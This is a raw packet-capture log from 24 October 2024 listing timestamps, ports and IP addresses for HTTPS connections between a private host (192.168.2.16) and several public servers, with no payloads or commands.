Oct 24, 2024 11:57:31.126475096 CEST	49720	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:31.126497030 CEST	443	49720	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.130497932 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.139946938 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.139997959 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.140074968 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.140300035 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.140312910 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.199681044 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.199768066 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.199807882 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.199846983 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.199867964 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.199893951 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.199909925 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.199934959 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.199973106 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.199996948 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.200001955 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.200043917 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.200076103 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.200081110 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.200119019 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.200136900 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.200211048 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.200654030 CEST	49715	443	192.168.2.16	151.101.129.229
Oct 24, 2024 11:57:31.200675964 CEST	443	49715	151.101.129.229	192.168.2.16
Oct 24, 2024 11:57:31.212353945 CEST	443	49713	4.175.87.197	192.168.2.16
Oct 24, 2024 11:57:31.212455988 CEST	49713	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:57:31.214200020 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.214234114 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.214313984 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.214536905 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.214545965 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.215907097 CEST	49713	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:57:31.215934992 CEST	443	49713	4.175.87.197	192.168.2.16
Oct 24, 2024 11:57:31.216156006 CEST	443	49713	4.175.87.197	192.168.2.16
Oct 24, 2024 11:57:31.226471901 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 11:57:31.239273071 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.239619970 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.239640951 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.240700960 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.240801096 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.241925001 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.242000103 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.242101908 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.258464098 CEST	49713	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:57:31.287331104 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.290457010 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.290476084 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.302236080 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.303545952 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.303566933 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.303575993 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.303606033 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.303641081 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.303658009 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.303680897 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.304274082 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.304313898 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.304436922 CEST	443	49718	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.304455996 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.304485083 CEST	49718	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.305433035 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.305500031 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.305524111 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.305561066 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.305569887 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.305591106 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.305619001 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.305728912 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.305787086 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.306037903 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.306112051 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.306158066 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:31.307236910 CEST	49717	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.307249069 CEST	443	49717	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.307517052 CEST	49721	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:31.307533026 CEST	443	49721	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.310769081 CEST	49730	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.310790062 CEST	443	49730	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.311032057 CEST	49730	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.311232090 CEST	49730	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.311244965 CEST	443	49730	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.316159010 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.316410065 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.316471100 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:31.316898108 CEST	49722	443	192.168.2.16	13.107.253.45
Oct 24, 2024 11:57:31.316916943 CEST	443	49722	13.107.253.45	192.168.2.16
Oct 24, 2024 11:57:31.319787025 CEST	49731	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.319827080 CEST	443	49731	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.319885015 CEST	49731	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.320089102 CEST	49731	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.320102930 CEST	443	49731	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.338452101 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.338839054 CEST	49732	443	192.168.2.16	13.33.187.120
Oct 24, 2024 11:57:31.338860035 CEST	443	49732	13.33.187.120	192.168.2.16
Oct 24, 2024 11:57:31.338960886 CEST	49732	443	192.168.2.16	13.33.187.120
Oct 24, 2024 11:57:31.339175940 CEST	49732	443	192.168.2.16	13.33.187.120
Oct 24, 2024 11:57:31.339186907 CEST	443	49732	13.33.187.120	192.168.2.16
Oct 24, 2024 11:57:31.354459047 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.359729052 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.360014915 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.360024929 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.361110926 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.361213923 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.361507893 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.361588001 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.361700058 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.374195099 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:31.374277115 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:31.376154900 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:31.376163006 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:31.376430988 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:31.377540112 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:31.402455091 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.402465105 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.419454098 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.419464111 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.419490099 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.419503927 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.419517040 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.419548035 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.419555902 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.419616938 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.422059059 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.422068119 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.422099113 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.422132969 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.422139883 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.422179937 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.423332930 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:31.450618029 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.473365068 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.473428965 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.473509073 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.473531961 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.473596096 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.477677107 CEST	49719	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.477700949 CEST	443	49719	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.488493919 CEST	49733	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.488548994 CEST	443	49733	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.488640070 CEST	49733	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.488934994 CEST	49733	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:31.488948107 CEST	443	49733	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:31.536268950 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.536319017 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.536375046 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.536386967 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.536744118 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.539391041 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.539411068 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.539472103 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.539480925 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.539510012 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.559534073 CEST	443	49726	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.559901953 CEST	49726	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.559917927 CEST	443	49726	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.560220957 CEST	443	49726	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.560523987 CEST	49726	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.560584068 CEST	443	49726	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.560692072 CEST	49726	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.592504978 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.603349924 CEST	443	49726	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:31.608458042 CEST	49726	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:31.622778893 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:31.622842073 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:31.622948885 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:31.624084949 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:31.624104977 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:31.624116898 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:31.624123096 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:31.653170109 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.653184891 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.653220892 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.653244972 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.653250933 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.653280020 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.653301001 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.653316021 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.654314041 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.654346943 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.654381037 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.654392004 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.654419899 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.654453993 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.698854923 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.698877096 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.698965073 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.698999882 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.699359894 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.770786047 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.770808935 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.770904064 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.770941019 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.770991087 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.774499893 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.774514914 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.774578094 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.774591923 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.774774075 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.816154957 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.816463947 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.816489935 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.817545891 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.817611933 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.817950010 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.818011045 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.818104982 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.818114042 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.862487078 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.885217905 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.885793924 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.885824919 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.886899948 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.886949062 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.887327909 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.887350082 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.887351036 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.887415886 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.887451887 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.887465000 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.887522936 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.887568951 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.887590885 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.887599945 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:31.889497995 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.889513969 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.889574051 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.889604092 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:31.889640093 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:31.918395042 CEST	49713	443	192.168.2.16	4.175.87.197
Oct 24, 2024 11:57:31.941457987 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:31.947088957 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.947169065 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.947200060 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.947220087 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.947236061 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.947278976 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.947287083 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.948151112 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.948292017 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.948359966 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.948368073 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.948414087 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:31.948628902 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:31.959343910 CEST	443	49713	4.175.87.197	192.168.2.16
Oct 24, 2024 11:57:31.989450932 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.003973007 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.003993034 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.004093885 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:32.004120111 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.004189014 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:32.005040884 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.005058050 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.005121946 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:32.005131006 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.005239964 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:32.021708012 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.021780968 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.021861076 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.022902966 CEST	49727	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.022919893 CEST	443	49727	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.050004005 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.050023079 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.050071955 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.050105095 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:32.050127029 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.050137997 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:32.050169945 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.050218105 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:32.051135063 CEST	49716	443	192.168.2.16	13.33.187.14
Oct 24, 2024 11:57:32.051156044 CEST	443	49716	13.33.187.14	192.168.2.16
Oct 24, 2024 11:57:32.062251091 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.062366962 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.062438965 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.062447071 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.062465906 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.062513113 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.062522888 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.062642097 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.062680006 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.062689066 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.062694073 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.062798023 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.062803984 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.063590050 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.063702106 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.063709021 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.064028025 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.064079046 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.064080000 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.064088106 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.064101934 CEST	443	49731	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.064131975 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.064136982 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.064569950 CEST	49731	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.064634085 CEST	443	49731	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.065047026 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.065088034 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.065108061 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.065115929 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.065159082 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.065165043 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.065709114 CEST	443	49731	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.065788031 CEST	49731	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.066117048 CEST	49731	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.066190958 CEST	443	49731	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.066318989 CEST	49731	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.066327095 CEST	443	49731	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.069825888 CEST	443	49730	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.073575974 CEST	49730	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.073606014 CEST	443	49730	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.074625015 CEST	443	49730	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.074692011 CEST	49730	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.075282097 CEST	49730	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.075347900 CEST	443	49730	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.078464031 CEST	49730	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.078474998 CEST	443	49730	13.107.253.67	192.168.2.16
Oct 24, 2024 11:57:32.105457067 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.108093023 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.108103037 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.117463112 CEST	49731	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.139682055 CEST	49730	443	192.168.2.16	13.107.253.67
Oct 24, 2024 11:57:32.149467945 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.179086924 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.179416895 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.179445028 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.179501057 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.179518938 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.179559946 CEST	443	49728	151.101.1.229	192.168.2.16
Oct 24, 2024 11:57:32.179570913 CEST	49728	443	192.168.2.16	151.101.1.229
Oct 24, 2024 11:57:32.179578066 CEST	443	49728	151.101.1.229	192.168.2.16
